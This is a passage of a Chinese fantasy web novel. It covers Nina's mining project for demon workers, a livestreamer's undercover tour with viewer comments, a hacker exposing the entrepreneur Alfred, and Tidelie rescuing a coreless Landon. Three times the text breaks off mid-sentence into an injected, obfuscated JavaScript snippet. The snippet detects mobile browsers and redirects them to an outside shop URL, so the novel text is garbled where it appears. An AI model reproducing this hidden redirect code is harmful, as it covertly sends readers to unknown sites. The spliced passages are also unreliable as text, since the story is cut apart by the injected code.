“那是对别人来说。我学的是魔族生物学，这个专业学的人很少，就业方向也基本固定，不怎么会为找工作的事情发愁。” “哈……” 妮娜的初衷是想让尤金别像个监视者似的把全部的注意力都放在她身上，结果却让自己松懈下来——她忍不住对几个月前还在为毕业论文和寻找工作忙得焦头烂额的自己感到难过。 意识的偏移却反而让她注意到文件中一处隐蔽度相当高的记录。 “仪式？”她将文件拿近了一点，才能完全辨认出那行印在一幅图表下方的文字。 一场被试年龄普遍不超过十岁的早期实验，但从资料的内容来看，无法判断被试的种族，也难以揣测实验的具体步骤和内容，在纸张上列出的只有由实验数据编织成的图表。 “仪式进行前后实验对象服从性的变化……这里的仪式是什么？”她往前后各自翻了几页，再没有发现类似的字眼出现，这很有可能是一个单独立项过的研究，所以在这里没有展开说明，“类似于洗脑和催眠之类的仪式吗？” 不料尤金突然冷笑了一声：“身为那位大人身边的代理人，你连这个都不知道吗？你难道还没有经历过——这样也能算得上是那位大人的亲信？”他的语气中带着一点怀疑的味道。 妮娜瞬间变得警觉起来，她低下头，避免尤金看到她的表情。 她没有追问“这个”究竟是什么，而是以同样冰冷的语气镇定地说道：“我对那位大人来说可是不能或缺的帮手。如果这个所谓的仪式对身体和精神完全无害，大人没有理由不替我举行。我既然不知道这件事，只能是因为这个‘仪式’会产生不利的影响。你已经举行过了？” 尤金的脸色顿时变得有点古怪。 妮娜不知道自己算是说服了他，还是戳到了他的痛处，但这个“仪式”应该值得一番调查——虽然不想被打上独裁者的烙印，但她不认为她那带着“绝对”二字的王权是靠洗脑和催眠就能抹消的力量。 佩吉和乌鸦描述过她们救出莱斯利·克里斯通时的情形，并且提到了囚禁着可怜的受害人的祭坛一般的刑具（或者说刑具一般的祭坛）。 佩吉说“那就像某种献祭仪式”，再结合她在那个可疑的居民区外看到的魔法阵和守在仓库外面的魔女，基本可以猜测王都内部确实存在着某种异端宗教，而且这些异端还与贵族院有关。 如果能查清这些事件之间的联系，也许就能了解新型魔女真正的奥秘了。 97. 第 97 章 尽管在第二矿区已经出现了有志尝试其他行业、并在妮娜和维克多的安排下离开矿地的工人，但由于种种因素的叠加，个体生产效率大幅提高，人员的减少暂时没有对工地的产出造成任何影响，相反，近一个月来，工地的产量蒸蒸日上、节节攀升。 “嘿，今天要和大家一起参观的是位于赫尔马岱第二矿区这片被在校大学生接手的工地。为了保证节目的真实可靠，我在来到这里之前没有和负责人取得联系。也就是说，这是一次突袭！我不确定这一期节目能做多久，因为我可能不会在这里受到欢迎，甚至还没进门就被赶走。” [就是从安卡亚和爱德维希手里挖走的两个矿地吧？最近星屑价格大幅回涨，这家伙抄底入场，现在估计都赚翻了。] [主播今天的造型好别致。] [我知道我知道，这事最近在业界已经快被叨疯了，谁会想到星屑还能回涨啊！星屑暴发户真不愧是上个世纪的传说。] [都是信了那时候专家的邪，能不能抓一个进去坐牢啊，别让他们再发表那种不负责任的研究成果了。] [据说接手的那个大学生是恩斯法内经济学院的，这不比那专家有远见？] [呜呜呜呜，我那时候也觉得星屑价格不可能一直跌，肯定会涨回来的，但是没钱入手。] [有钱也不敢，跌得太厉害了，而且学界说得那么煞有介事。] “能看见前面那栋还算干净的建筑吗？那就是‘罗德里斯公寓’在赫尔马岱建立的办公室，如果有机会的话，我希望能够到里面去参观一下，不过现在，还是让我们先去看看矿地的景象吧。” [天好灰啊，雾霾这么严重的吗，主播你居然还戴着防毒面具！] [看这个能见度，应该只是阴天的关系，空气好像还行。] [毕竟是矿区，空气不好也正常。] [办公室边上那两台机器就是用来净化空气的，魔力驱动，效果超好，我们厂长去年斥巨资买了一台，员工满意度立刻唰唰涨。] [真舍得花钱啊，没必要吧，毕竟工地上都是魔族，无所谓环境好不好。大学生就算当资本家也透着清澈愚蠢的感觉。] [魔族的命也是命好吧，哈哈哈哈。] “我猜不是所有人都对‘罗德里斯公寓’有所了解，不过托贵族院的福，这一届创业大赛的名气已经被打响了，其中的各种由大学生们牵头的项目正受到社会各层的广泛关注。给不了解的观众朋友们简单介绍一下，‘罗德里斯公寓’是一个以建立完整的魔族经济社会体系为终极目标的具有公益性质的项目，目前在所有创业项目中关注度位居断层第一，本部位于神圣峡谷，今天要探险的地方是该项目在赫尔马岱的基地。” [建立完整的经济社会体系什么的的……太夸张了吧，人家项目简介根本不是这么说的，主播你可别捧杀呀。] [项目负责人是贵族院亲女儿吧？资金和知识肯定得到过援助，不然一个在校大学生怎么可能做到这种地步？] [什么意思？贵族院要改变对魔族的政策了？] [敏锐的人现在已经开始投资相关产业了吧，笑。] “看到了吗，前面就是矿地的北部分区，从这个角度和距离应该能够看到在里面工作的工人，看样子巨魔和兽人占据其中的大多数，这两个种族向来被认为适合从事体力劳动，看来在这里也不例外。” [我还看见角落里好像有一只骷髅。城市里很少见到诶。] [那种完全没有肌肉的家伙也能从事重体力劳动吗？] [可以给那台挖掘机一个特写吗？看起来有点特别。] [原来矿地的工作方式还这么原始，我们工厂已经有九成的生产线都在靠魔法机械运作了。] [这种矿地上大型机械少一个是因为怕引起事故，还跟利润率也有关系。] “话说回来，你们敢相信吗？这里是矿区的工地，但空气质量出人意料地不错，完全没有想象中的臭味，连扬尘都不多，我觉得我可以把防毒面具给摘掉了，把这样一张脸给藏起来，实在是有点暴殄天物。” [没见过这样吹自己的。] [刚才说雾霾的打脸了吧。] “目前好像还没有人注意到我，我再试着走近一点，看看能不能有什么新发现。哦，看到了吗，那辆小车正从山洞里出来，满满一车星屑！谁能算算那里大概有多少钱？这辆车会开到哪里去呢？看到地上那些轨道了吗——喔，是先把矿车运载出来的东西汇集到一起，我猜之后应该是分拣之类的工作，因为里面好像还掺着杂质。” [星屑的提纯还是很重要的，对魔法运行效率的影响很大。在工地上应该只是粗提一下，后面还要被送去精提。] [巨魔力气好大啊，他就这么直接把一辆车提起来了？] [有没有人再顺便算算那样一辆装满星屑的车大概有多重啊，我觉得两百千克打底。] [太保守了，那么多星屑，再加上矿车的重量，半吨应该是有的。] [可怕，感觉他一只手就能把我的脑袋捏爆。主播你要小心啊。] “这里有一条小路，可以从地面上穿过矿井，对面那栋办公楼本来是爱德维希的，出售工地的时候一并打包卖给罗德里斯公寓了，现在办公区已经集中到刚才指给大家看过的那栋楼里，这里被改成了宿舍，一楼是公共食堂。” [包吃包住，想问问工资多少，给不给交保险？] [想多了，还保险呢，工资有没有还是问题。没有老板会多此一举给魔族发工资吧？] [我们店长就发的。虽然法律没有规定，但做人还是要讲良心。] “刚才响过一个铃声，你们有没有听见？我这里还是很明显的。不知道是干什么，估计是召集之类的吧……哟，工地上有动静了，所有人分成了两路，一路去了宿舍楼，一路去向办公楼，你们说我跟在哪一路后面好？” [饭点到了。我边煮泡面边看直播。] [主播午饭打算吃什么？去工地食堂薅一顿？] [一进食堂然后发现主食是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388043|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜥蜴干，哈哈哈哈哈，不知道主播敢不敢吃。] [想看看办公楼。] “你们发现没有，往办公楼走的这些都是死灵，除了食尸鬼之外，死灵基本上都是不用吃饭的，不知道这段时间他们会用来干什么。我决定跟在他们后面一探究竟。” [真的打算进去啊？吓人。] [主播可以把防毒面具戴上，然后自称是个幽灵。] [你以为魔族都是傻子吗？] [办公楼里应该有人类管理员的吧，主播要不要去采访看看？] “不知道是不是我的错觉，这些魔族的精神状态看起来很好。” [活轻了。] “好了，现在我已经跟在刚才那支队伍的最后，来到了办公楼门口。从门口看，里面的陈设像是休息区域，边上这扇窗户的房间好像是个教室，我打算在外面再稍微多观察一会儿。噢哟，有魔族陆续进教室了，看来这就是他们的目的地。讲台上站着一个人，好像是个女的，手里拿着教鞭，不会真的打算上课吧？” [职业训练吗？还是定期洗脑课程？] [主播多留一会儿，我想看看他们要讲什么！] “有人说想看教室里的情况，那我们在这里等久一点。这让我想起以前做过的一期乡下扫盲班的内容，也许他们想教这些魔族工人读书写字？虽然不知道这么做有什么用，嗯……但是初衷应该是好的吧，阅读能帮人开拓视野、丰富生活，噢，讲台上的那个人好像要说话了，我把收音效果开到最高，不知道能不能听清讲话的内容——” [学我们的文字吗？魔族难道就没有自己的文字？] [文化殖民的第一步就是从毁灭另一个文明的语言开始。] [等等，这听着不像是语文课啊，我好像听到了摩擦系数，他们是在上初中物理吗？] [物理常年不及格的路过，死去的记忆开始攻击我……] [救命，我犯了什么罪要在这里看一群骷髅上物理课？] [主播可以再四处转转吗？感觉这里面的人数比刚才看到的队伍少了很多，说不定还有在上其他课程的。] “我震惊了，居然是物理课，他们是想培养一个魔界艾森斯坦出来吗？他们都有魔法了，为什么还要学物理啊！！看他们那专心的样子，上课走神瞌睡的朋友们惭不惭愧？走，我们再逛逛看，还有什么课程……” 在视频网站上，一个观光直播节目悄然走红，录播作品的播放率快速上涨。 视频以暗访的方式展示了赫尔马岱二号矿区的工作实景，观众发现这个以魔族工人为主的工地不仅环境良好、氛围轻松，还有设施齐全、干净整洁的食堂和宿舍，甚至开设了免费的培训班，涵盖基础教育和职业教育两个板块的内容。 不少观众纷纷留言：“这工作条件比很多人类都好了吧？！” 也有人质疑：“演的，主播收了多少钱？” 对此，主播则表示：“自己去看看就知道是真是假了，赫尔马岱又不是什么生人勿入的禁区。” 98. 第 98 章 俗话说你永远也叫不醒一个装睡的人，但如果一个人真的只是在老老实实地睡觉，那还是有机会把他给叫醒的。 一些向生活低头的人在看过那个视频之后，买了一张前往赫尔马岱的车票，向位于二号矿区的办公室询问是否需要人手，薪酬可以不高，他们只是需要一个能够吃饭和睡觉的地方。 为了接纳这些自愿的人类工作者，布莱克对劳动法进行了一番仔细的研究，并与维克多商定了合乎法律要求的工资福利标准。 也有人主动提出想来任教，这些人中有因为裁员而失去工作的熟练技术者，也有因为入学孩童数量大幅减少而被辞退的教师，更有一部分已经待业很久的大学毕业生，这部分人则由佩吉和露西进行考核，通过后被授予相应的教师职位。 现在，罗德里斯公寓不仅替为数不少的流浪魔族提供了住所，确保了工作，这项公益事业的受益者已经扩展到了人类阵营。 虽然事业的版图扩大了不少，但由于各项业务的运行都有专人负责，所以需要妮娜操心的事情反而少了很多，基本上只剩下听取工作汇报和进行重大决策。这意味着她有更多时间投入到对付达尔·达曼的研讨会。 不知道这位老教授在年轻的时候是不是在魔族身上吃过苦头，他不仅讨厌魔女，更加憎恶魔族，故而对妮娜目前正开展的业务感到十二万分的不满，妮娜不得不反复强调“提升魔族福利、减缓人类与魔族矛盾”的这件事对人类社会利大于弊，她不仅用自己的事迹举例，还找出了一些发生在黄金时代的旧闻作为例证。 而在这一过程中，她找到了一条并不起眼的报道。 事情发生在黄金时代结束之后不久，人类和魔族间的矛盾重新发展到最激烈的地步，位于福恩克北部的一户人家遭到洗劫，犯人至今下落不明，但因为现场留下了明显的魔法痕迹，所以可以断定作案者是恶魔或是魔女。 除了财产丢失、房屋损坏之外，这一事件还出现了一名牺牲者，时年三十六岁的杰基尔·达曼在祸乱中死于非命。 她在学院的网站上找到了达尔·达曼的资料，发现他的家乡正是福恩克市，按年龄推算，当年死于魔法攻击的杰基尔·达曼先生极有可能是他的父亲。 若真是如此，那就可以说明达尔·达曼为何如此厌恶与魔族相关的事物了。 妮娜放弃强行扭转其意志的打算，幼年丧父留下的阴影不是那么轻易就能消弭的东西。 不过在与该事件相关的报道中，有一些叙述引起了她的注意。 杰基尔先生是一位魔族生物学家。 正如研究所的尤金所说，近几年学习魔族生物学的人可以说少之又少（今后应该会出现增加趋势），但在黄金时代，曾有不少与魔族有缘的有志青年加入到这一行业，钻研适应魔族生理条件的医疗救护系统，并成为现在已经绝迹了的“恶魔医生”。 恶魔通常是对魔族的蔑称，“恶”字让人类对他们的厌恶附加更多的合理性。 不过恶魔医生中的恶魔可以被认为并不具有这种属性，仅仅是因为和“医生”这个单词组合之后的发音更加顺口，以及能为这个职业增加一份神秘和酷炫的印象。 妮娜通过搜索引擎找到了一些杰基尔生前的研究成果。对于一名三十六岁的青年学者来说，他的成就不可谓不丰硕。 寻找论文的具体内容并不容易，直接搜索标题往往一无所获，不过若是以“杰基尔·达曼”作为关键词，则好歹能够找到几条链接，有的能够在七弯八拐之后找到正文，有的则真的只剩了一个题目。 从第一署名的那些论文可以总结出，杰基尔的主要研究对象是巫妖一族，包括大巫妖、小巫妖和深渊巫妖三个分支。 他确定了大巫妖肢端所散发出来的黑雾在性质上应该被区分为气体，只不过构成该气体的是一种化学界至今没有发现过的元素，这可能是魔界特有的化学体系中的元素，就像星屑在性质上应该被区分为贵金属，但又无法被归类为任何一种已知的贵金属元素。 他还研究了三个巫妖分支的异同之处。和巨魔的三个分支主要区别在体型上不同，巫妖三分支的区别依据在于和人类的相似程度。大巫妖是巫妖中离人类最遥远的一支，他们看起来比起某种拥有实体的存在，更像是一条条影子。 小巫妖虽然带有一个小字，他们的体型、尤其是身高，实际上明显比大巫妖大，他们的皮肤呈现灰色，有清晰可辨的五官、头发，和大巫妖一样，指尖总是缠绕着气体，那些气体能够随他们的意志进行形变和位移。 深渊巫妖的个子更高，体型很瘦，皮肤更白，有着和人类一样的五官，肢端只有少量气体缠绕——除了气体这一点，他们的特征基本与魔女一致。 也就是说，在进行混血实验的时候，研究员对深渊巫妖在外形上的改变不多，硬要说的话就是去除了黑雾般的气体，让他们更像人类。话虽如此，和真正的人类站在一起的时候，还是能够轻易分辨两者的不同。 “我们目前还没有发现深渊巫妖具体掌握哪种魔法天赋，但从基因检测结果来看，他们和那些能够使用魔法的种族有着相同的基因片段，亦即在理论上，他们是可以使用魔法的。” “另外，通过研究他们的大脑活动发现，他们似乎是天生的信徒。以目前的技术手段无法探明他们信奉的对象。起初认为这种信仰指向生命之树，但由于并未在其他任何一种魔物脑内发现类似的活动指标，故判定为非大树信仰。” “通过对被试者的采访，发现所有深渊巫妖都不认为自己具备信仰，或是除生命之树外的信仰，他们的回答通过了测谎仪的测试，故判定为真实。” “也就是说，他们的基因中藏有一种他们自己都不知道的信仰。” 在看到这些文字的时候，妮娜瞬间联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403651|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到当时在研究所中看到的资料，并猜想文件中提及的“仪式”是否会和这种隐秘信仰有关。 毕竟宗教信仰和宗教仪式是两个非常配套的词语。 * 【地狱火的创始人是个网络骗子】 正当画展筹备正进行得如火如荼之时，阿尔弗雷德突然收获一份噩耗。 一条声称“揭露其恶行”的博客内容在网络上不胫而走，借着创业大赛和罗德里斯公寓的热度一下子被众所周知。 “地狱火的创始人阿尔弗雷德·克雷斯就是《原子之战》三区的第一工匠戈莱特的狗。” “《原子之战》的玩家应该都听说过这个人，靠一己之力拖累了整个法师职业，登顶三区第一工匠后直接下线，让星海神杖的配方就此失传……” “半个月前，这家伙终于又上线了，钓了几个大佬说要给他们做星海神杖，还分别叮嘱他们保密。大佬根据他给的配方找齐材料，结果这货拿了材料，给一个名不见经传的法师角色打了武器，又果断消失……” “后来三区的几个法师大佬一碰面，才知道大家都上了当，每个人拿到的配方都不一样，这狗从一开始就有骗材料的心思……” “我虽然不是大佬，但也是被骗材料的人，他从我这里骗了三个晨曦辉光，还有其他一些稀有材料。这些材料还只是小事，主要是我实在气不过，无奈之下，通过一名外援确定了戈莱特的狗的身份……” “这种社会垃圾居然还有脸参加创业大赛，还能在商业中心拿到举办画展的资格，我看着都要被气笑了……” 阿尔弗雷德看得冷汗一颗颗从额头上冒出来。 “见鬼，究竟是怎么被他找到的！” 阿尔弗雷德没有第一时间思考公关策略，反而忍不住回想自己究竟是在哪里漏了馅。 他的确是个爱显摆的人，一旦取得什么过人的成就恨不得立刻昭告天下，但玩《原子之战》的那段时间正逢他的人生低谷，而且一贯在人前展现阳光面的他也不希望在社交网络上塑造自己沉迷游戏的负面形象。 一定要说的话……他确实在社交媒体上发过一两张游戏截图，因为开了摄影模式，所以画面上没有任何能够辨别他游戏昵称和ID的内容。 难道对方仅仅通过角色的面容就将戈莱特的狗和那两张截图对应上了吗？ 可对方又是如何在茫茫网络世界中定位到那两张截图的…… 阿尔弗雷德一边在自己的社交媒体平台上寻找那些截图的正文内容，一边思索着这些对解决危机来说毫无益处的问题。 就在这时候，他瞥见了页面侧边的访客记录，在里面看见了一个活跃于各大游戏论坛的头像。 “潜入调查” “该死……” 他居然被这样一位赫赫有名的网络特务给盯上了。 都不知该说是荣幸还是倒霉。 99. 第 99 章 潜入调查姑且算个网络名人，至少关注网络游戏时事热点的人都应该听说过这个昵称——一个优秀的独立游戏制作人，曾经特聘于《原子之战》的制作商，这款红极一时的游戏中至今还留有他的代码和策划方案，除此之外，他还是一个水平有目共睹的黑客，一个随心所欲的网络特务。 正因为他名声很大，所以获得他的联系方式不算太难，他甚至在个人主页上明晃晃地挂着邮件地址，几乎谁都可以给他发送邮件，至于能不能得到回复，那就是另一回事了。 阿尔弗雷德怀着侥幸的心理给对方发去一封邮件，希望对方能够“修改调查结果”，“澄清戈莱特的狗和阿尔弗雷德·克雷斯是两个人”，并“尽可能地恢复阿尔弗雷德在现实世界的名誉”，他愿意为此支付得当的报酬。 阿尔弗雷德特地打开银行账户清点了一遍。他还没有富有到可以目中无人的地步，但考虑到今后的事业生涯，挽回声誉是一件绝对有必要的事情，为此他可以在能力范围内支付最大的酬金。 不……如果对方提出了一个超过他存款金额的数字，那他即使依靠借贷，也必须把那笔钱给凑齐。他目前在银行的信誉相当不错，不愁借不到钱。 接着，他又担心起那个孤傲的黑客或许根本就不愿搭理他，他最好再做一手准备，就是私下和那个发帖人达成和解。 不就是星海神杖吗？再打造一把就好了。不就是三个晨曦辉光吗？赔就是了。 他打开游戏论坛中三区的版块，查询起制作星海神杖所需的材料的价格。如果被其他那些勤勤恳恳等着接单的工匠知道他竟如此疏于材料行情，一定会气得破口大骂。 “怎么会这么贵……这价格也太离谱了……杀猪呢，不就是件虚拟道具吗？怎么这个也这么贵，我记得不算特别稀有的材料啊，居然是这半个月涨上来的，被发现这是神杖的材料之一了吗？” 价格查询帖中标注的各项数字让人完全笑不起来，所有东西都贵得离谱——折合成现实货币，大约要花十万卡什才能拿下所有材料，而这些材料在半个月前还不是这个价格。 因为上他当的那些大佬们聚在一起对六份完全不同的配方进行比较，又依靠网上流出的“无名法师装备星海神杖”的截图，根据法杖的实装外观推测所需材料，最终得出一份未经验证的配方，而这张配方一经传播，其中的材料身价立即水涨船高，最终导致了如今的局面。 阿尔弗雷德打算再等等潜入调查的回复。 如果那家伙愿意接受他的提议，并提出了一个“公正合理”的酬金，他就不用为一些虚拟道具花那么多钱了。 阿尔弗雷德·克雷斯通过走运，加上一些敏锐的商业嗅觉，年纪轻轻就成了一个白手起家的有钱人，但是为虚拟财物花钱仍被他认为是世界上最不划算的几件事中的一件。 邮箱发出一声轻快的提示音，阿尔弗雷德立刻打开那封新邮件。 可喜可贺，潜入调查竟真的回复了他—— “我拒绝。” 邮件正文简洁得让阿尔弗雷德甚至没能第一眼看到那几个字。对方没有任何索取报酬，或是趁机勒索的意思，而是斩钉截铁地拒绝了他。 “为什么？！”他顾不上什么邮件格式和网络礼仪了，急急地回问道。 对方一时没有音信。阿尔弗雷德心里七上八下地又去社交网站逛了一圈，没想到关于他的讨论大有野火燎原的势头。 [去狗哥的主页考了考古，发现他最开始就是靠举报魔族起家的，那时候还拿到了贵族院的赏金，然后转头就把偶遇的炼狱兽作为品牌形象发到了网上。那只炼狱兽要是知道抄他家的人还在拿他赚钱，估计要气活过来。] [有些话那个时候我还不敢说，一直藏在心里，今天不吐不快。新闻上说城郊那个基地都已经存在好几百年了，至今没有闹过事，结果被他一举报，直接灰飞烟灭。] 潜入调查的回信来了：“因为你曾经做了一件对我的族人伤害很大的事。” 阿尔弗雷德猛地一怔，却对潜入调查暗示的事情完全摸不着头脑。他出生到现在，可有做过哪怕一件伤天害理的事情？ [也不知道有多少地下魔族因此遭了殃。人家只是谨小慎微求条活路，结果狗哥直接给人来一场灭顶之灾，太缺德了。] 明明事情发生的时候，网络舆论还完全不是这样的。这才短短两三个月的时间，社会风气居然已经发生了如此巨大的转变—— 人类竟又一次开始同情起魔族来了！ 他忍不住在那条考古评论下发表留言：“举报魔族是贵族院要求的，你们没胆子批评贵族院，就逮着我一个普通人使劲骂是不是？指桑骂槐都比你们要高尚点！” 骗材料的事情确实是他不对，但不能因为这一件事，他过去的所有成就都变成了错误。 明明错的不是他，而是这个奇怪的社会。 潜入调查：“总之，就是那么回事。” 阿尔弗雷德几乎要抓狂了——到底是什么事啊？！ 他几乎已经处于一种既愤世嫉俗又万念俱灰的状态，而就在这个时候，他又想到了一个或许能为他提供帮助的人，他像是找到了一根救命稻草似的捧起手机，在通讯录中找到那个被添了星标的联系人。 阿尔弗雷德：“导师导师，我遇上大麻烦了，您可不可以帮帮？” * 蒂德莉能感觉到口袋里的手机震了一下，她迟疑片刻，最终决定将它拿出来，但看到上面显示的是一个无关紧要的名字，于是又把它放了回去。 她现在正处于一种精神高度紧张的状态中，没有闲暇去顾及阿尔弗雷德。她也知道如果来信的是妮娜·斯特尔，那么无论如何她都会为她抽出一点时间。 她一点也不为自己的偏袒感到羞愧。 她没有穿自己最喜欢的那双细跟高跟鞋，而是选了一双不那么容易在光滑的大理石地面上发出声音的质地偏软的鞋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423056|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这是位于迷宫般的贵族院建筑中的一处人迹罕至的甬道。 在三百年前，人类刚刚赢得战争，占领了这个还未被人类文明染指的国度，领导战争的七名领袖就在这里建立了他们最初的基地，并命名为贵族院。 当时的贵族院只是一栋单层面积略超过一百平米的三层建筑，一楼用来召开集体会议，二楼和三楼则是他们的宿舍。 在之后的时光里，这栋建筑有过破败、过时的迹象，但从未被推倒重建。 七位贵族总是在原有的基础上进行增改，将其面积扩大了一倍，再扩大一倍——直到变成现在这个占地超过五千平米的宫殿。 会议室变得更加富丽堂皇，尽管使用者只有七个人（有时是八个），却被造成了可以容纳数百人的空间，也就是如今的圆桌会议室。 起初他们彼此之间住得很近，离开房间之后只要拐个弯，就能进到另一个人的房间，但现在却要穿过很长很长的走廊，绕好几个弯，走几次台阶，才能拜访最近的邻居。 毫无章法、自作主张的增建让贵族院内部的结构变得极其复杂，也为它的七位住民收容了很多秘密空间。 最终，他们能够搞得一清二楚的，也就只有从自己的卧室通往会议室，或是其他几个重要公共场所的路线。 蒂德莉现在所走的，就是一条未被收录在她脑海的地图中的路线。 极乐鸟的特性让她对女性的气息格外敏感。她一直能感受到兰登的气息没有从贵族院消失。而现在，她就在循着那股气息寻找自己那位失踪的同僚。 圣灵节的巡游好歹已经有惊无险地糊弄了过去，但总不能让兰登一直缺席。 波诺对兰登的失踪似乎十分担心，但那小子对此也束手无策，他敏锐的只有心思，至于感官，就要逊色多了，更何况他从小疏于武术的练习，又不会什么像样的魔法，如果真的遇上什么事，恐怕会变得难以收场。 还有阿斯代伦……蒂德莉原以为阿斯代伦会对兰登的事比较上心，现在看来并非如此。 这很可能与兰登的立场有关——阿斯代伦显然是打算和阿加雷斯站在一条船上，而后者已经“毫无良心”地跟着魔王跑了，蒂德莉也是偏向魔王的，但兰登，非要说的话，她并不会主动敌视魔王，但也绝不会成为魔王的支持者。 那姑娘从过去到现在，都一直把“团结一心”作为自己的工作要领，希望恢复七人（或者说八人）之间亲密无间的关系。 阿斯代伦不需要一个无法统一目的的战友，但蒂德莉却认为获得中立者的支持才是赢得争执的关键，毕竟贵族院的成员数量是一个奇数。 在循着这条古怪的甬道，或者说循着兰登的气息继续走了一段时间之后，蒂德莉在一扇破败的房门前停下了脚步。 这个房间被藏在另一个房间的窗户后面，要爬出那扇窗，再走过一条阴森的窄路，才能抵达这里。 兰登就在这扇门的背后。 100. 第 100 章 蒂德莉举起她还身为一个狂战士的时候就最喜欢用的武器，一把长柄的斧头，用力劈开门把上的锁。 门锁上附加的禁闭魔法没能承受住绝对强大的物理攻击，应声而落。 极乐鸟——也就是魅魔所属的这一大支，除了在魅惑人心方面天赋异禀之外，几乎没有什么像样的魔法特长。 或许你会猜测被所有人挑剩之后，蒂德莉·戈莱特女士不得不选择这颗在魔界大贵族中一点也不出彩的核心，实际上，这是她主动要求的。 她喜欢美丽的东西，也向往成为一个充满魅力的女人。 至于魔法——她已经拥有了足以傲视群雄的武力，也就不像其他人那样依赖魔法的加持了。 她信步走进房间，然后点亮了附着在斧柄上的照明工具。 黑暗的小屋被照亮了，虚弱的女性靠着荒废的壁炉，散乱的头发陷进了那堆肮脏古老的煤灰里，她看上去没有什么明显的外伤，但奄奄一息。 照理来说，大贵族的核心能让持有者不眠不食、不老不死，到底是受了什么罪，她才会变成这样？ 蒂德莉走上前去，将斧头搁在墙壁上，蹲下身去，现在她已经管不上自己的裙边会被弄脏了。 “兰登，兰登……兰登·毕修普！”她拍打着同僚的脸颊，能感觉到生命依然在此人体内流淌，却无法感受生机的涌现。 “喂，喂，你怎么了？是布劳斯干的吗？” 平白挨了好几个巴掌的兰登终于迷迷糊糊地醒了过来，她疲惫地抬起眼皮，用那两颗布满血丝的眼球望着眼前的人：“哦，莉迪，是你啊……我还以为……自己要死在这儿了呢……” 蒂德莉觉得有哪里不对劲，她从层层叠叠的裙子中找到口袋，从里面拿出手机，在屏幕上飞快操作了什么，然后凑到兰登身边。 屏幕上有如同涟漪一般慢慢扩散的圆形图案，朝蒂德莉这边扩散的波纹会发生震颤，但是向兰登的方向扩散的波纹则毫无反应。 这是蒂德莉出于好玩在手机里装载的探测魔法，她亲自刻画回路、设计术式，然后再注入魔法源流——这些魔力当然来自于她自身——算是一种新式的、几乎无法普及的魔法软件，可以用来检测对象身上的魔力水平。 该软件告诉蒂德莉，兰登已经不再具有魔法力量了。她认为能够导致这种情况的直接原因只有一个，那就是核心的消失。 “不会吧……布劳斯抢走了你的核心，还把你禁闭在这儿？还不如直接把你了结了呢！”蒂德莉开始口不择言，“可是他要你的核心做什么？” 兰登没有回答，刚刚那句话似乎已经消耗了她所有力气。 “哈……看来眼下的当务之急是先把你给弄出去，给你补充一些能量，再让你好好休息一会儿。”蒂德莉收起手机，将双手伸向兰登的腋下，轻而易举地就将她扶了起来，并靠在自己肩上。 接着，她单肩负着兰登，另一只手取回武器——这种程度的负重对她来说不算什么——离开了这间充满灰尘的小屋。 她之所以猜到对兰登下手的人是布劳斯，不仅是考虑到了布劳斯的性格还有立场，更是因为她记得这个已经荒废很久的房间。这就是三百年前布劳斯住过的房间。那时候蒂德莉很喜欢他的壁炉，所以经常会过去做客。 “因为不再住人，所以就完全不打理了吗？”在爬过作为通道的窗户时，蒂德莉忍不住嘀咕了一句。这种不喜欢打扫、不追求整洁的作风也符合她对布劳斯的认知。 就她自己而言，她至今仍为定期维护这三百年来她住过的每一个房间，也会认真打扫属于她的每一个区域，在魔法的辅助之下，这些事情都不算麻烦。 她在七拐八弯的迷宫之中找到了通往自己领域的道路，并将兰登安置在其中位置较为隐蔽的一间房屋。她在每一个房间里都设置了只有自己才知道的传送魔法，通过这些环环相扣的魔法阵，她很快就为同伴弄来了食物。 兰登有气无力地啜着牛奶，样子看上去随时都会昏迷。她给人的感觉好像一下子老了十岁——幸好，也就是从二十多岁变成三十多岁的程度，这不一定是核心缺失的缘故，而是饥饿和恐惧造成的病态。 她的眼中似乎流露着一种名为绝望的情绪。 蒂德莉无法和她共情，但多多少少能猜到她如此失落的缘由，布劳斯的行为已经完全打碎了兰登心中那个“回到过去”的幻梦，曾经勇敢又直率的战士已经变成了贪婪残忍的妖怪，他的心里已经没有残存多少旧情。 其实其他人也一样。对蒂德莉来说，除了波诺让她稍感亲近之外，在别人身上，她已经完全找不回当初生死与共的记忆。 他们的身体始终保持着青春活力，但他们的记忆和精神已经对彼此感到厌烦了。 “我以前还一直担心，如果把核心从身体里拿出去的话，我会不会一下子就变成一个三百岁的老太太，或是直接化为齑粉。”蒂德莉开了一个不好笑的玩笑。 兰登呆滞了一会儿，低垂着眼睛，望着那杯喝了一半的牛奶：“你为什么会想这种事情？” “嗯？” 